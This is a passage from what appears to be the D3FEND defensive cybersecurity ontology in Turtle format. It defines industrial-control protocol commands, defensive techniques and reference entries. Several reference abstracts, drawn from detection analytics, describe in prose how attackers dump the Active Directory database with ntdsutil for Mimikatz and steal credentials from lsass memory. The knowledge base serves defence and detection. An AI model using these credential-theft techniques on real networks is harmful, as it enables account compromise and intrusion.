d3f:OTDownloadControlProgramCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Download Control Program Command" ;
    d3f:definition "Commands a remote device to download a control program." ;
    d3f:modifies d3f:OTControlProgram ;
    d3f:synonym "OT Program Download" ;
    rdfs:comment """GE-SRTP: PROGRAM STORE (UPLOAD FROM PLC)
GE-SRTP: PROGRAM LOAD (DOWNLOAD TO PLC)""" ;
    rdfs:seeAlso <https://attack.mitre.org/techniques/T0843/>,
        <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControlProgram ],
        d3f:OTModifyControlProgramCommand .

d3f:OTErrorMessage a owl:Class ;
    rdfs:label "OT Error Message" ;
    d3f:definition "An anticipated, reproducible defect occurred within the system." ;
    rdfs:comment """BACnet: Error: 1
BACnet: Error: 2
BACnet: Error: 3
BACnet: Error: 4
BACnet: Error: 5
BACnet: Error: 6
BACnet: Error: 7
BACnet: Error: 8""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTDiagnosticsMessage .

d3f:OTEstablishRemoteConnectionCommand a owl:Class ;
    rdfs:label "OT Establish Remote Connection Command" ;
    d3f:definition "Used to establish an TCP/IP Connection to the target device." ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTConnectionCommand .

d3f:OTEstablishRemoteConnectionCommandEvent a owl:Class ;
    rdfs:label "OT Establish Remote Connection Command Event" ;
    d3f:definition "Used to establish an TCP/IP Connection to the target device." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTEstablishRemoteConnectionCommand ],
        d3f:OTConnectionCommandEvent .

d3f:OTExceptionMessage a owl:Class ;
    rdfs:label "OT Exception Message" ;
    d3f:definition "An unknown or anomalous condition occurred in the system." ;
    rdfs:comment """BACnet: Reject: 1
BACnet: Reject: 2
BACnet: Reject: 3
BACnet: Reject: 4
BACnet: Reject: 5
BACnet: Reject: 6
BACnet: Reject: 7
BACnet: Reject: 8
BACnet: Reject: 9
BACnet: Reject: 10 """,
        """Modbus: Read Exception Status
Modbus: Exception: Illegal Function
Modbus: Exception: Illegal Data Address
Modbus: Exception: Illegal Data Value
Modbus: Exception: Slave Device Failure
Modbus: Exception: Acknowledge
Modbus: Exception: Slave Device Busy
Modbus: Exception: Memory Parity Error
Modbus: Exception: Gateway Path Unavailable
Modbus: Exception: Gateway Target Device Failed to Respond""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTDiagnosticsMessage .

d3f:OTPauseCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Pause Command" ;
    d3f:definition "Commands a device to pause a service/program." ;
    d3f:modifies d3f:OTControllerOperatingMode ;
    rdfs:comment """BACnet: deviceCommunicationControl
BACnet: reinitializeDevice """,
        "GE-SRTP: SET PLC (RUN VS STOP)" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:OTModifyDeviceOperatingModeCommand .

d3f:OTProgramModeCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Program Mode Command" ;
    d3f:definition "Command that places the controller in a mode capable of reprogramming logic. This may or may not stop the program." ;
    d3f:modifies d3f:OTControllerOperatingMode ;
    rdfs:comment """BACnet: deviceCommunicationControl
BACnet: reinitializeDevice """,
        "GE-SRTP: SET PLC (RUN VS STOP)" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:OTModifyDeviceOperatingModeCommand .

d3f:OTProprietaryMessage a owl:Class ;
    rdfs:label "OT Proprietary Message" ;
    d3f:definition "Vendor specific and may not be publicly documented, or values left for device specific configuration." ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTProtocolMessage .

d3f:OTReadDeviceConfigurationCommand a owl:Class ;
    rdfs:label "OT Read Device Configuration Command" ;
    d3f:definition "Read device configuration." ;
    rdfs:comment "BACnet: deviceCommunicationControl",
        "GE-SRTP: READ PROGRAM MEMORY" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTDeviceConfigurationCommand .

d3f:OTReadFileCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Read File Command" ;
    d3f:definition "Reads data in specified chuncks or the contents of a specified file stored in the file device connected to the PC." ;
    d3f:has-participant d3f:File ;
    rdfs:comment "BACnet: atomicReadFile",
        "Modbus: Read File Record" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:File ],
        d3f:OTReadCommand .

d3f:OTReadTimeCommand a owl:Class ;
    rdfs:label "OT Read Time Command" ;
    d3f:definition "Read timing mechanisms." ;
    rdfs:comment "example" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTTimeCommand .

d3f:OTReadValueCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Read Value Command" ;
    d3f:definition "Reads the contents of the specified number of consecutive parameter areawords starting from the specified word." ;
    d3f:has-participant d3f:OTLogicVariable ;
    rdfs:comment """BACnet: confirmedCOVNotification
BACnet: subscribeCOV
BACnet: readProperty
BACnet: readPropertyConditional
BACnet: readPropertyMultiple
BACnet: unconfirmedCOVNotification
BACnet: readRange
BACnet: subscribeCOVProperty
BACnet: getEventInformation
BACnet: subscribe-cov-property-multiple
BACnet: confirmed-cov-notification-multiple
BACnet: unconfirmed-cov-notification-multiple """,
        """CIP: Get Attributes All
CIP: Get Attribute List
CIP: Get Attribute Single
CIP: Find Next Object Instance
CIP: Get Member """,
        """GE-SRTP: READ SYSTEM MEMORY
GE-SRTP: READ TASK MEMORY """,
        """Modbus: Read Coils
Modbus: Read Discrete Inputs
Modbus: Read Holding Registers
Modbus: Read Input Registers
Modbus: Read FIFO Queue""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTLogicVariable ],
        d3f:OTReadCommand .

d3f:OTRemoteModeCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Remote Mode Command" ;
    d3f:definition "Command that places the controller in a mode capable of receiving read/write communication from a networked entity." ;
    d3f:modifies d3f:OTControllerOperatingMode ;
    rdfs:comment """BACnet: deviceCommunicationControl
BACnet: reinitializeDevice """,
        "GE-SRTP: SET PLC (RUN VS STOP)" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:OTModifyDeviceOperatingModeCommand .

d3f:OTRunCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Run Command" ;
    d3f:definition "Commands a device to start or resume a service/program." ;
    d3f:modifies d3f:OTControllerOperatingMode ;
    rdfs:comment """BACnet: deviceCommunicationControl
BACnet: reinitializeDevice """,
        "GE-SRTP: SET PLC (RUN VS STOP)" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:OTModifyDeviceOperatingModeCommand .

d3f:OTSecurityCommand a owl:Class ;
    rdfs:label "OT Security Command" ;
    d3f:definition "Ensure confidentiality, integrity, or availability of system information." ;
    rdfs:comment """BACnet: authenticate
BACnet: requestKey """,
        "GE-SRTP: PROGRAMMER LOGON" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTNetworkManagementCommand .

d3f:OTSetTimeCommand a owl:Class ;
    rdfs:label "OT Set Time Command" ;
    d3f:definition "Set timing mechanisms." ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTTimeCommand .

d3f:OTStopCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Stop Command" ;
    d3f:definition "Commands a device to stop a service/program." ;
    d3f:modifies d3f:OTControllerOperatingMode ;
    rdfs:comment """BACnet: deviceCommunicationControl
BACnet: reinitializeDevice """,
        "GE-SRTP: SET PLC (RUN VS STOP)" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:OTModifyDeviceOperatingModeCommand .

d3f:OTSynchronizeTimeCommand a owl:Class ;
    rdfs:label "OT Synchronize Time Command" ;
    d3f:definition "Used to align timing mechanisms." ;
    rdfs:comment "example" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTTimeCommand .

d3f:OTTestCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Test Command" ;
    d3f:definition "Commands a  device to run a program in Test mode." ;
    d3f:modifies d3f:OTControllerOperatingMode ;
    rdfs:comment """BACnet: deviceCommunicationControl
BACnet: reinitializeDevice """,
        "GE-SRTP: SET PLC (RUN VS STOP)" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:OTModifyDeviceOperatingModeCommand .

d3f:OTTransportConfigurationCommand a owl:Class ;
    rdfs:label "OT Transport Configuration Command" ;
    d3f:definition "Configure transport settings for a communication channel." ;
    rdfs:comment "Modbus: Encapsulated Interface Transport" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTNetworkManagementCommand .

d3f:OperatingMode a owl:Class ;
    rdfs:label "Operating Mode" ;
    d3f:definition "An operating mode designates the specific way a system, product, or service functions for a particular task, configuration, or phase of operation" ;
    rdfs:seeAlso <https://www.wassonstrategics.com/pdf/Wasson%20-%20System_Phases_Modes_and_States_Rev.%20D%20(10-29-14).pdf> ;
    rdfs:subClassOf d3f:SystemPlatformVariable .

d3f:OperationalLogicValidation a d3f:OperationalLogicValidation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operational Logic Validation" ;
    d3f:d3fend-id "D3-OLV" ;
    d3f:definition "Validation of variable state in the context of the control logic of the operational application." ;
    d3f:kb-article """## How it works
Validates the type, value, and/or range of a variable taking into account the local operational logic and operational state.

For example, if a controller has a restricted range when in a specified state, this may crosscheck the value against the state in addition to a more general range validation. """ ;
    d3f:kb-reference d3f:Reference-SecurePLCCodingPracticesTop20List ;
    d3f:validates d3f:OTControlFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:validates ;
            owl:someValuesFrom d3f:OTControlFunction ],
        d3f:DomainLogicValidation .

d3f:OperationalProcessMonitoring a d3f:OperationalProcessMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operational Process Monitoring" ;
    d3f:d3fend-id "D3-OPM" ;
    d3f:definition "Monitoring physical parameters and operator actions related to an operational environment." ;
    d3f:kb-article """## How it works

While some Operational Technology systems are designed to operate without human intervention, most systems are designed with the ability to monitor and modify the physical process with user input.

This technique detects adversarial risks to operational processes by observing physical events and operator actions and analyzing event logs.

Key steps in operational process security monitoring are:

1. Read logs generated by controllers, and HMIs, through DAU's and DA agents;

2. Produce digital event records;

3. Display the aggregated data to a device such as an HMI or process historian, and write those records to event logs and/or to the OT process data historian for traceability and incident reconstruction.

4. Monitor the procees and detect incidents or indicators of tampering such as:
- malfunctions
- unauthorized commands,
- unsafe setpoint changes,
- alarm suppression, and
- anomalous mode transitions;

""" ;
    d3f:kb-reference d3f:Reference-GuideToOTSecurity ;
    d3f:monitors d3f:EventLog ;
    d3f:synonym "Supervisory Control Monitoring" ;
    d3f:uses d3f:OTProcessDataHistorian ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:OTProcessDataHistorian ],
        [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:EventLog ],
        d3f:PlatformMonitoring .

d3f:OrchestrationController a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Orchestration Controller" ;
    d3f:contains d3f:ContainerOrchestrationSoftware ;
    d3f:definition "An orchestration server provides orchestration services that automate the configuration, coordination, and management of computer systems and software." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ContainerOrchestrationSoftware ],
        d3f:OrchestrationServer .

d3f:PermissionGrantingEvent a owl:Class ;
    rdfs:label "Permission Granting Event" ;
    d3f:definition "An administrative event where authorization is given, allowing a subject to perform specific operations on a protected resource, effectuating a policy decision to allow access rights." ;
    rdfs:subClassOf d3f:AccessControlAdministrationEvent .

d3f:PermissionRevokingEvent a owl:Class ;
    rdfs:label "Permission Revoking Event" ;
    d3f:definition "An administrative event entailing the withdrawal of previously granted access rights, reconfiguring permissions to prevent a subject from performing specific actions on a resource, in accordance with updated access policies." ;
    rdfs:subClassOf d3f:AccessControlAdministrationEvent .

d3f:PhysicalKey a owl:Class ;
    rdfs:label "Physical Key" ;
    d3f:definition "A physical key is used to operate a lock, typically metal, designed with specific markers that match the internal mechanism of a lock, allowing it to rotate the lock when inserted." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:operates ;
            owl:someValuesFrom d3f:PhysicalKeyLock ],
        d3f:PhysicalArtifact .

d3f:PhysicalKeyLock a owl:Class ;
    rdfs:label "Physical Key Lock" ;
    d3f:definition "A mechanical locking device for securing moveable portions of physical barriers (e.g., doors, gates, drawers) in a secured position." ;
    d3f:synonym "keyed lock" ;
    rdfs:isDefinedBy "NRC Regulatory Guide 5.12 Rev1" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:PhysicalKey ],
        d3f:PhysicalLock .

d3f:PhysicalLinkConnectEvent a owl:Class ;
    rdfs:label "Physical Link Connect Event" ;
    d3f:definition "The medium is attached or the port is enabled, establishing electrical or optical continuity so that link negotiation can begin." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:precedes ;
            owl:someValuesFrom d3f:PhysicalLinkUpEvent ],
        d3f:PhysicalLinkEvent .

d3f:PhysicalLinkDisconnectEvent a owl:Class ;
    rdfs:label "Physical Link Disconnect Event" ;
    d3f:definition "The transmission medium is removed or power is cut, physically breaking the path between the two interfaces." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:PhysicalLinkDownEvent ],
        d3f:PhysicalLinkEvent .

d3f:Planning a owl:Class ;
    rdfs:label "Planning" ;
    rdfs:subClassOf d3f:AnalyticalPurpose .

d3f:PolicyGradient a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Policy Gradient" ;
    d3f:d3fend-id "D3A-PG" ;
    d3f:definition "The objective of a Reinforcement Learning Policy Gradient agent is to maximize the “expected” reward when following a policy" ;
    d3f:kb-article """## References
Policy Gradients in a Nutshell. Towards Data Science.  [Link](https://towardsdatascience.com/policy-gradients-in-a-nutshell-8b72f9743c5d).""" ;
    rdfs:subClassOf d3f:Model-freeReinforcementLearning .

d3f:PolicyReference a owl:Class ;
    rdfs:label "Policy Reference" ;
    d3f:pref-label "Policy" ;
    rdfs:subClassOf d3f:TechniqueReference .

d3f:PowerSupply a owl:Class ;
    rdfs:label "Power Supply" ;
    d3f:definition "A power supply is an electrical device or module that converts and regulates energy from a source (e.g., the power grid or batteries) to an appropriate voltage, current, and frequency for one or more loads. It may stand alone or be integrated into its host appliance, often providing overcurrent protection, voltage regulation, or power conditioning for safe, stable operation." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Power_supply> ;
    rdfs:subClassOf d3f:HardwareDevice .

d3f:PrivilegedUserAccount a owl:Class ;
    rdfs:label "Privileged User Account" ;
    d3f:definition "A privileged account is a user account that has more privileges than ordinary users. Privileged accounts might, for example, be able to install or remove software, upgrade the operating system, or modify system or application configurations. They might also have access to files that are not normally accessible to standard users. Typical examples are root and administrator accounts. But there also service accounts, system accounts, etc. Privileged accounts are especially powerful, and should be monitored especially closely." ;
    rdfs:isDefinedBy <https://www.ssh.com/iam/user/privileged-account> ;
    rdfs:seeAlso <https://www.cyberark.com/resources/blog/7-types-of-privileged-accounts-service-accounts-and-more> ;
    rdfs:subClassOf d3f:UserAccount .

d3f:ProcessDataSegment a owl:Class ;
    rdfs:label "Process Data Segment" ;
    d3f:definition "A process data segment, is a portion of the program's virtual address space that contains executable instructions and corresponds to the loaded image data segment." ;
    rdfs:seeAlso d3f:ImageDataSegment,
        <http://dbpedia.org/resource/Data_segment> ;
    rdfs:subClassOf d3f:ProcessSegment .

d3f:ProductDeveloper a owl:Class ;
    rdfs:label "Product Developer" ;
    d3f:definition "A product developer intentionally designs, creates, or improves products, which may include physical goods, software, or other outputs." ;
    rdfs:subClassOf d3f:Provider .

d3f:Projection-basedClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Projection-based Clustering" ;
    d3f:d3fend-id "D3A-PBC" ;
    d3f:definition "Projection Based Clustering is a clustering framework based on a chosen projection method and projection method a parameter-free high-dimensional data visualization technique." ;
    d3f:kb-article """## References
R Core Team. (2021). ProjectionBasedClustering: Projection Based Clustering. [Link](https://cran.r-project.org/web/packages/ProjectionBasedClustering/ProjectionBasedClustering.pdf)

Lai, J. H., Liu, Y., & Wu, W. (2017). Projection Based Clustering. [Link](https://www.researchgate.net/publication/319006501_Projection_Based_Clustering)""" ;
    rdfs:subClassOf d3f:High-dimensionClustering .

d3f:Q-Learning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Q-Learning" ;
    d3f:d3fend-id "D3A-QL" ;
    d3f:definition "Q-learning is a model-free reinforcement learning algorithm to learn the value of an action in a particular state. It does not require a model of the environment (hence \"model-free\"), and it can handle problems with stochastic transitions and rewards without requiring adaptations." ;
    d3f:kb-article """## References
Q-learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Q-learning).""" ;
    rdfs:subClassOf d3f:Model-freeReinforcementLearning .

d3f:RDPConnectRequestEvent a owl:Class ;
    rdfs:label "RDP Connect Request Event" ;
    d3f:definition "An event where an RDP client sends a connection request specifying session parameters, such as display settings, compression preferences, and security requirements, to prepare for an interactive session." ;
    rdfs:subClassOf d3f:RDPEvent .

d3f:RDPInitialRequestEvent a owl:Class ;
    rdfs:label "RDP Initial Request Event" ;
    d3f:definition "An event where an RDP client initiates communication with a server by sending a request to establish a session and negotiate protocol capabilities for remote interaction." ;
    rdfs:subClassOf d3f:RDPEvent .

d3f:REC-0004 a owl:Class ;
    rdfs:label "Gather Launch Information - SPARTA" ;
    d3f:attack-id "REC-0004" ;
    d3f:definition "Threat actors may gather the launch date and time, location of the launch (country & specific site), organizations involved, launch vehicle, etc. This information can provide insight into protocols, regulations, and provide further targets for the threat actor, including specific vulnerabilities with the launch vehicle itself." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0004/> ;
    rdfs:subClassOf d3f:SPARTAReconnaissanceTechnique ;
    skos:prefLabel "Gather Launch Information" .

d3f:Range a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Range" ;
    d3f:d3fend-id "D3A-RAN" ;
    d3f:definition "The range of a set of data is the difference between the largest and smallest value." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Range (statistics). [Link](https://en.wikipedia.org/wiki/Range_(statistics))""" ;
    rdfs:subClassOf d3f:Variability .

d3f:Reference-AccessPermissionModification_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2019-07-001: Access Permission Modification - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2019-07-001/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries sometimes modify object access rights at the operating system level. There are varying motivations behind this action - they may not want some files/objects to be changed on systems for persistence reasons and therefore provide admin only rights; also, they may want files to be accessible with lower levels of permissions." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:SystemFileAnalysis ;
    d3f:kb-reference-title "CAR-2019-07-001: Access Permission Modification" .

d3f:Reference-ActiveDirectoryDumpingViaNTDSUtil_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2019-08-002: Active Directory Dumping via NTDSUtil - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2019-08-002/"^^xsd:anyURI ;
    d3f:kb-abstract "The NTDSUtil tool may be used to dump a Microsoft Active Directory database to disk for processing with a credential access tool such as Mimikatz. This is performed by launching ntdsutil.exe as a privileged user with command line arguments indicating that media should be created for offline Active Directory installation and specifying a folder path. This process will create a copy of the Active Directory database, ntds.dit, to the specified folder path." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2019-08-002: Active Directory Dumping via NTDSUtil" .

d3f:Reference-AdvancedDeviceMatchingSystem a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Advanced device matching system" ;
    d3f:has-link "https://patents.google.com/patent/US10892951B2/"^^xsd:anyURI ;
    d3f:kb-abstract "Disclosed is a device management system for discovery and management of components added to computer systems and sub-systems. The device management system provides for recognizing a newly added component, and determining if the newly added component is already a part of the system inventory. The newly added component is matched with a component currently on the system, based on at least one matching attribute. A point total is calculated for each match level and a final match score is provided. The match score is compared with an aggressiveness level to determine if a match does indeed exist." ;
    d3f:kb-author "Rajneesh Jalan, Joseph M. Schmitt, and Marco Simoes" ;
    d3f:kb-organization "Device42 Inc" ;
    d3f:kb-reference-of d3f:HardwareComponentInventory ;
    d3f:kb-reference-title "Advanced device matching system" .

d3f:Reference-AllLoginsSinceLastBoot_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2015-07-001: All Logins Since Last Boot - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2015-07-001/"^^xsd:anyURI ;
    d3f:kb-abstract """Once a credential dumper like mimikatz runs, every user logged on since boot is potentially compromised, because the credentials were accessed via the memory of lsass.exe. When such an event occurs, this analytic will give the forensic context to identify compromised users. Those users could potentially be used in later events for additional logons.

The time field indicates the first and last time a system reported a user logged into a given system. This means that activity could be intermittent between the times given and should not be considered a duration.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:CredentialCompromiseScopeAnalysis ;
    d3f:kb-reference-title "CAR-2015-07-001: All Logins Since Last Boot" .

d3f:Reference-AnalysisOfTheWindowsVistaSecurityModel_SymantecCorporation a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Analysis of the Windows Vista Security Model - Symantec Corporation" ;
    d3f:has-link "https://web.archive.org/web/20140407025337/http://www.symantec.com/avcenter/reference/Windows_Vista_Security_Model_Analysis.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "This     paper     provides     an     in-depth     technical     assessment    of    the    security    improvements    implemented    in    Windows Vista, focusing primarily on the areas of User Account Protection  and  User  Interface  Privilege  Isolation.  This  paper  discusses   these   features   and   touches   on   several   of   their   shortcomings. It then demonstrates how it is possible to combine these  attacks  to  gain  full  control  over  the  machine  from  low  integrity, low privilege process." ;
    d3f:kb-author "Matthew Conover" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Symantec Corporation" ;
    d3f:kb-reference-of d3f:SystemCallFiltering ;
    d3f:kb-reference-title "Analysis of the Windows Vista Security Model" .

d3f:Reference-AnomalyDetectionUsingAdaptiveBehavioralProfiles_SecuronixInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Anomaly Detection Using Adaptive Behavioral Profiles - Securonix Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20160226901A1"^^xsd:anyURI ;
